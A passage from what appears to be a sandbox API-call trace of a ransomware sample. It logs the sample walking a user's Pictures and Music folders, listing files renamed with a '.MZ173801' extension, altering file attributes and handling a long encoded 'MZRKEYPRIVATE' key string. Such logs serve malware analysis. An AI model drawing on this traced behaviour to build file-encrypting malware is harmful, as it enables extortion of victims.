nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.513] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.513] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0158.513] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.513] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0158.513] GetLastError () returned 0x12 [0158.513] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0158.513] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0158.513] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0158.513] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.513] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.513] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.513] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.513] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.513] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0158.513] GetLastError () returned 0x12 [0158.513] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0158.514] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718f36c0, ftCreationTime.dwHighDateTime=0x1d5ec44, ftLastAccessTime.dwLowDateTime=0x956d87e0, ftLastAccessTime.dwHighDateTime=0x1d5eb1d, ftLastWriteTime.dwLowDateTime=0x858e1ef8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x18713, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="soIxhtWQvRHiZe.png.MZ173801", cAlternateFileName="SOIXHT~1.MZ1")) returned 1 [0158.514] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.514] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.514] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a850400, ftCreationTime.dwHighDateTime=0x1d5f0f5, ftLastAccessTime.dwLowDateTime=0x7edfeba0, ftLastAccessTime.dwHighDateTime=0x1d5ef94, ftLastWriteTime.dwLowDateTime=0x8592e327, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xa70, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="ThBkp.jpg.MZ173801", cAlternateFileName="THBKPJ~1.MZ1")) returned 1 [0158.514] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.514] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.514] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6b44330, ftCreationTime.dwHighDateTime=0x1d5e579, ftLastAccessTime.dwLowDateTime=0x3bb582a0, ftLastAccessTime.dwHighDateTime=0x1d5ed77, ftLastWriteTime.dwLowDateTime=0x8599610e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xacc6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="TNMTkGiMBk1T.png.MZ173801", cAlternateFileName="TNMTKG~1.MZ1")) returned 1 [0158.514] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.514] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.514] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668ee010, ftCreationTime.dwHighDateTime=0x1d5e44a, ftLastAccessTime.dwLowDateTime=0x950dac80, ftLastAccessTime.dwHighDateTime=0x1d5ef6e, ftLastWriteTime.dwLowDateTime=0x859c6e05, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x16a35, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="v32KoNWBg.gif.MZ173801", cAlternateFileName="V32KON~1.MZ1")) returned 1 [0158.514] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.514] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.514] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8bb0d50, ftCreationTime.dwHighDateTime=0x1d5ec98, ftLastAccessTime.dwLowDateTime=0xef3d6e20, ftLastAccessTime.dwHighDateTime=0x1d5e753, ftLastWriteTime.dwLowDateTime=0x85a130b2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x65e0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="yvoDa.gif.MZ173801", cAlternateFileName="YVODAG~1.MZ1")) returned 1 [0158.514] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.514] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.514] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8bb0d50, ftCreationTime.dwHighDateTime=0x1d5ec98, ftLastAccessTime.dwLowDateTime=0xef3d6e20, ftLastAccessTime.dwHighDateTime=0x1d5e753, ftLastWriteTime.dwLowDateTime=0x85a130b2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x65e0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="yvoDa.gif.MZ173801", cAlternateFileName="YVODAG~1.MZ1")) returned 0 [0158.514] GetLastError () returned 0x12 [0158.514] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0158.514] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=13, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Music") returned 1 [0158.515] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music" (normalized: "c:\\users\\fd1hvy\\music")) returned 0x11 [0158.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=13, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Music") returned 1 [0158.515] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe7d17b04, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7d17b04, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0158.516] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe7d17b04, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7d17b04, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.516] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb95c22e0, ftCreationTime.dwHighDateTime=0x1d5ecfa, ftLastAccessTime.dwLowDateTime=0x45910380, ftLastAccessTime.dwHighDateTime=0x1d5ea5c, ftLastWriteTime.dwLowDateTime=0x45910380, ftLastWriteTime.dwHighDateTime=0x1d5ea5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9y41-fr3PlkYnrNFG2e", cAlternateFileName="9Y41-F~1")) returned 1 [0158.516] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.516] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0158.516] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.516] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a6abc0, ftCreationTime.dwHighDateTime=0x1d5ece0, ftLastAccessTime.dwLowDateTime=0x6521bdc0, ftLastAccessTime.dwHighDateTime=0x1d5efca, ftLastWriteTime.dwLowDateTime=0x6521bdc0, ftLastWriteTime.dwHighDateTime=0x1d5efca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Gsdux_nrV", cAlternateFileName="GSDUX_~1")) returned 1 [0158.516] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd77ae9f0, ftCreationTime.dwHighDateTime=0x1d5e0ca, ftLastAccessTime.dwLowDateTime=0xc416d800, ftLastAccessTime.dwHighDateTime=0x1d5ea12, ftLastWriteTime.dwLowDateTime=0xc416d800, ftLastWriteTime.dwHighDateTime=0x1d5ea12, nFileSizeHigh=0x0, nFileSizeLow=0x84bd, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="o-Fi.mp3", cAlternateFileName="")) returned 1 [0158.516] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.516] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.516] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\o-Fi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\o-fi.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd77ae9f0, ftCreationTime.dwHighDateTime=0x1d5e0ca, ftLastAccessTime.dwLowDateTime=0xc416d800, ftLastAccessTime.dwHighDateTime=0x1d5ea12, ftLastWriteTime.dwLowDateTime=0xc416d800, ftLastWriteTime.dwHighDateTime=0x1d5ea12, nFileSizeHigh=0x0, nFileSizeLow=0x84bd)) returned 1 [0158.516] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\o-Fi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\o-fi.mp3")) returned 0x20 [0158.516] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\o-Fi.mp3", dwFileAttributes=0x80) returned 1 [0158.519] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.519] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/